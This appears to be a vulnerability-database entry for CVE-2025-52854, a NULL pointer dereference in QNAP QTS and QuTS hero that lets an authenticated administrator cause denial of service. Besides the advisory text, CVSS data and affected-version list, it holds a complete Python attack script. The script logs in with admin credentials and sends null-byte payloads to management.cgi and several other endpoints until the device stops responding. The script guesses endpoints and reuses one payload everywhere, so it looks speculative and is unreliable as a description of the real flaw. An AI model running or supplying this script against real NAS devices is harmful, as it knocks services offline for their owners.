CVE-2025-52854

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

QNAP QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52854 PoC - QNAP QTS/QuTS hero NULL Pointer Dereference DoS
# Vulnerability: NULL Pointer Dereference leading to Denial of Service
# Affected: QTS < 5.2.6.3195 build 20250715, QuTS hero < h5.2.6.3195 build 20250715
# Requirement: Valid administrator credentials (PR:H)
# Impact: Remote Denial of Service via crafted request triggering NULL pointer dereference

import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.1.1"
USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin"
PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password"

session = requests.Session()
session.verify = False

def exploit():
    # Step 1: Authenticate with administrator credentials
    login_url = f"{TARGET}/cgi-bin/authLogin.cgi"
    login_data = {
        "user": USERNAME,
        "pwd": PASSWORD
    }

    print(f"[*] Authenticating as '{USERNAME}' on {TARGET}...")
    resp = session.post(login_url, data=login_data)

    if resp.status_code != 200:
        print("[-] Authentication request failed")
        return False

    print("[+] Authentication request sent")

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The vulnerable endpoint processes a parameter that is not properly
    # validated, causing a NULL pointer to be dereferenced
    vuln_url = f"{TARGET}/cgi-bin/management.cgi"

    # Crafted payload designed to trigger NULL pointer dereference
    # by sending unexpected/empty values to a function that does not
    # perform NULL checks before dereferencing
    crafted_params = {
        "func": "system_info",
        # Trigger NULL pointer dereference via malformed input
        "param": "\x00",
        "action": "query"
    }

    print("[*] Sending crafted request to trigger NULL pointer dereference...")
    try:
        resp = session.post(vuln_url, data=crafted_params, timeout=10)
        print(f"[*] Response status: {resp.status_code}")
    except requests.exceptions.ConnectionError:
        print("[+] Target appears to have crashed (connection refused) - DoS successful!")
        return True
    except requests.exceptions.Timeout:
        print("[+] Target timed out - possible DoS condition")
        return True
    except Exception as e:
        print(f"[*] Exception: {e}")

    # Alternative: trigger via various endpoints that handle NULL pointer paths
    alt_endpoints = [
        f"{TARGET}/cgi-bin/filemanager/share.cgi",
        f"{TARGET}/cgi-bin/qpkg/qpkg.cgi",
        f"{TARGET}/cgi-bin/network/vlan.cgi",
    ]

    for endpoint in alt_endpoints:
        try:
            # Send request with parameters that trigger NULL dereference
            resp = session.post(endpoint, data=crafted_params, timeout=5)
        except (requests.exceptions.ConnectionError, requests.exceptions.Timeout):
            print(f"[+] DoS triggered via {endpoint}")
            return True

    return False

if __name__ == "__main__":
    if exploit():
        print("[+] CVE-2025-52854 exploitation completed - DoS achieved")
    else:
        print("[-] Exploitation may have failed or target is patched")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52854
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52854
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52854/
[4] VulDB https://vuldb.com/cve/CVE-2025-52854
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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